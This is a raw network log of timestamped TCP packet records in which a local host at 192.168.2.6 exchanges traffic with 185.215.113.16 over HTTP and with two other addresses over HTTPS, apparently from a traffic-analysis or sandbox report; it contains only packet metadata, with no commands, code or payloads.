Nov 20, 2024 00:19:19.470755100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470767021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.470788956 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471055031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471065044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471076012 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471088886 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471098900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471107006 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471116066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471127987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471148014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471158981 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471165895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471174002 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471275091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471286058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471369028 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471497059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471507072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471518040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471530914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471537113 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471548080 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471554041 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471560001 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471570969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471581936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471600056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471606016 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471616030 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471625090 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471633911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471642971 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471649885 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471662998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471668959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471679926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471689939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471698046 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471709013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471715927 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471724987 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471754074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471765041 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471776009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471782923 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471792936 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471821070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.471826077 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.471841097 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472287893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472300053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472326040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472331047 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472341061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472358942 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472588062 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472603083 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472609043 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472613096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472619057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472625971 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472651958 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472758055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472768068 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472778082 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472816944 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472829103 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472835064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472846031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472857952 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472865105 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472876072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472887993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472898960 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472910881 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.472927094 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.472946882 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.473046064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473057032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473067999 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473088026 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.473150969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473160982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473170996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473181963 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473189116 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.473198891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473211050 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.473221064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473231077 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473242998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473251104 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.473258972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.473280907 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.473294020 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.481524944 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481545925 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481558084 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481580973 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.481662035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481702089 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.481720924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481726885 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481729031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481731892 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481753111 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481786013 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.481794119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481803894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481816053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481827021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481839895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.481846094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.481865883 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.481879950 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.482538939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.482636929 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.482646942 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.482657909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.482670069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.482686996 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.482687950 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.482714891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.482724905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.482750893 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483274937 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483285904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483295918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483304977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483325005 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483338118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483341932 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483351946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483365059 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483371973 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483403921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483582020 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483592033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483603954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483640909 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483640909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483649015 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483654976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483664989 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483691931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483793974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483803988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483814955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483825922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.483877897 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.483877897 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484003067 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484014034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484025002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484041929 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484066963 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484107971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484133959 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484144926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484164953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484175920 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484181881 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484208107 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484240055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484249115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484272003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484344959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484344959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484386921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484395981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484406948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484417915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484426975 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484436035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484441996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484452009 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484478951 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484492064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484536886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484546900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484575033 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484615088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484625101 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484635115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484683037 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484683037 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484694958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484704971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484750986 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.484919071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484977961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484988928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.484998941 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.485008955 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.485017061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.485028028 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.485035896 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.485049009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.485080004 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.508886099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.508910894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.508944988 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.508960962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.508992910 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.509013891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.509027004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.509073973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.509084940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.509090900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.509107113 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.509179115 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.513454914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513499975 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.513521910 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513533115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513572931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.513609886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513633966 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513644934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513662100 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.513750076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513762951 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.513787031 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.515134096 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.515198946 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.515214920 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.515229940 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.515261889 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.515275955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.515286922 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.515297890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.515309095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.515331984 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.515352011 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.531425953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531466961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531471968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531512976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.531560898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531575918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531593084 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.531599998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531611919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531630039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.531913996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531924963 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531934023 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531946898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531954050 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.531963110 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531975031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.531981945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.531991959 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.531997919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532037020 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.532691002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532701969 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532711983 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532731056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.532814026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532824993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532835007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532846928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.532855988 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.532890081 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.547831059 CET	49772	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.547858000 CET	443	49772	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.571121931 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.571207047 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.571255922 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.571595907 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.571611881 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.571624041 CET	49776	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.571628094 CET	443	49776	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.578159094 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.578186989 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.578345060 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.579879045 CET	49783	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.579894066 CET	443	49783	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.610155106 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.610179901 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.610188007 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.610198021 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.610218048 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.610249043 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.610260963 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.610301018 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.610321045 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.610840082 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.610888958 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.610893965 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.611071110 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.611188889 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.621776104 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.621784925 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.621824026 CET	49774	443	192.168.2.6	20.109.210.53
Nov 20, 2024 00:19:19.621826887 CET	443	49774	20.109.210.53	192.168.2.6
Nov 20, 2024 00:19:19.780638933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:19.829066038 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:19.849860907 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.852180958 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.852210045 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.852622032 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.852627993 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.933286905 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.936420918 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.939455032 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.939471006 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.939968109 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.939982891 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.940792084 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.940821886 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.941391945 CET	49780	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.941396952 CET	443	49780	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.961460114 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.961512089 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.961766005 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.961951017 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.961967945 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.961972952 CET	49778	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.961978912 CET	443	49778	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.979319096 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.979350090 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:19.979413986 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.981904984 CET	49784	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:19.981915951 CET	443	49784	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.041683912 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.042606115 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.042680979 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.043029070 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.043045998 CET	443	49781	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.043076992 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.043176889 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.043176889 CET	49779	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.043194056 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.043203115 CET	443	49779	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:20.043574095 CET	49781	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:20.043581963 CET	443	49781	13.107.246.45	192.168.2.6
